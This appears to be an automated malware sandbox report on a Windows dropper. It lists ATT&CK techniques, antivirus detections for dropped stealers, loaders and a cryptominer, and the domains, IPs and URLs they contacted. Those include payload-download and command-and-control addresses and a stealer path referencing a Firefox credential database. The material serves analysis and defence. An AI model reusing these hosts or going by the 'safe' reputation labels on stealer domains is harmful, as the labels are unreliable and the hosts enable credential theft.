Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	11 Scheduled Task/Job	121 Software Packing	Security Account Manager	355 System Information Discovery	SMB/Windows Admin Shares	21 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1191 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	361 Virtualization/Sandbox Evasion	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	512 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	56%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	75%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	75%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.php$v	100%	Avira URL Cloud	malware
pancakedipyps.click	0%	Avira URL Cloud	safe
https://grannyejh.lat/v	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpcA	100%	Avira URL Cloud	malware
https://grannyejh.lat/apiY	0%	Avira URL Cloud	safe
https://grannyejh.lat/$1	0%	Avira URL Cloud	safe
https://pancakedipyps.click/	0%	Avira URL Cloud	safe
https://pancakedipyps.click:443/api	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpncoded1	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe=#M	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/api	0%	Avira URL Cloud	safe
https://grannyejh.lat/apin	0%	Avira URL Cloud	safe
https://pancakedipyps.click/piZ	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php4001	100%	Avira URL Cloud	malware
https://pancakedipyps.click/AE	0%	Avira URL Cloud	safe
https://pancakedipyps.click/apip	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiIO	0%	Avira URL Cloud	safe
https://grannyejh.lat/%	0%	Avira URL Cloud	safe
https://pancakedipyps.click/jh	0%	Avira URL Cloud	safe
https://pancakedipyps.click/api	0%	Avira URL Cloud	safe
https://pancakedipyps.click/8	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiGw9kB2	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exe84760(u	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/apical	0%	Avira URL Cloud	safe
https://grannyejh.lat/	0%	Avira URL Cloud	safe
https://grannyejh.lat/apier2	0%	Avira URL Cloud	safe
https://pancakedipyps.click/U	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/apix/24a4ohrz.default-release/key4.dbPK	0%	Avira URL Cloud	safe
https://pancakedipyps.click/ob	0%	Avira URL Cloud	safe
http://31.41.244.11/files/dodo/random.exe	100%	Avira URL Cloud	phishing
https://pancakedipyps.click:443/apicrosoft	0%	Avira URL Cloud	safe
https://grannyejh.lat/api	0%	Avira URL Cloud	safe
https://pancakedipyps.click/xe	0%	Avira URL Cloud	safe
https://pancakedipyps.click/api/	0%	Avira URL Cloud	safe
https://sweepyribs.lat:443/api	0%	Avira URL Cloud	safe
https://grannyejh.lat/apigs	0%	Avira URL Cloud	safe
https://grannyejh.lat/N	0%	Avira URL Cloud	safe
https://pancakedipyps.click/la	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiFj	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exe/C	100%	Avira URL Cloud	phishing
https://pancakedipyps.click/pi	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	104.21.23.76	true	false	high
grannyejh.lat	172.67.179.109	true	true	unknown
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
pancakedipyps.click	true	Avira URL Cloud: safe	unknown
necklacebudi.lat	false		high
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
crosshuaht.lat	false		high
rapeflowwj.lat	false		high
https://pancakedipyps.click/api	true	Avira URL Cloud: safe	unknown
energyaffai.lat	false		high
https://grannyejh.lat/api	true	Avira URL Cloud: safe	unknown
grannyejh.lat	false		high
discokeyus.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php$v	skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/v	9f237e29d5.exe, 0000002F.00000003.2616619099.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001330000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiY	9f237e29d5.exe, 0000002F.00000003.2466238120.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2617545293.0000000001345000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpC	skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpcA	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/$1	9f237e29d5.exe, 0000002F.00000003.2565676452.00000000012BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.2681819982.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/	d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded1	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://pancakedipyps.click:443/api	d2cb36d600.exe, 0000000B.00000003.2190380016.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375048066.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2376937453.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270396851.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292678383.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2354295558.0000000001333000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exe=#M	skotes.exe, 00000006.00000002.2681819982.00000000013FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpxe	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat:443/api	9f237e29d5.exe, 0000002F.00000003.2466238120.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/apin	9f237e29d5.exe, 0000002F.00000003.2544502314.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2537049958.0000000003A16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/piZ	d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/AE	d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php4001	skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pancakedipyps.click/apip	d2cb36d600.exe, 0000000B.00000003.2263478988.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2263716893.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/apiIO	9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001345000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/%	9f237e29d5.exe, 0000002F.00000003.2616619099.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2570423163.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2545285658.000000000132F000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001330000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/jh	d2cb36d600.exe, 0000000B.00000003.2270333586.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270263915.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292588728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375485674.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377229160.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355246636.00000000013B1000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375415933.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355380887.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/8	d2cb36d600.exe, 0000000B.00000003.2375581338.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377133921.000000000136D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat:443/apical	9f237e29d5.exe, 0000002F.00000003.2565676452.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiGw9kB2	9f237e29d5.exe, 0000002F.00000003.2513900579.0000000003A18000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe84760(u	skotes.exe, 00000006.00000002.2681819982.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/	9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001330000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat:443/apix/24a4ohrz.default-release/key4.dbPK	9f237e29d5.exe, 0000002F.00000003.2616200054.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/apier2	9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001345000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard%s	Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/U	d2cb36d600.exe, 0000000B.00000003.2375581338.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377133921.000000000136D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click:443/apicrosoft	d2cb36d600.exe, 0000000B.00000003.2375048066.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2376937453.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292678383.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2354295558.0000000001333000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/dodo/random.exe	skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://pancakedipyps.click/ob	d2cb36d600.exe, 0000000B.00000003.2270333586.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270263915.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292588728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375485674.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377229160.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355246636.00000000013B1000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375415933.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355380887.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/xe	d2cb36d600.exe, 0000000B.00000002.2377190667.00000000013AB000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 00000029.00000002.2371900204.000000000283C000.00000004.00000010.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
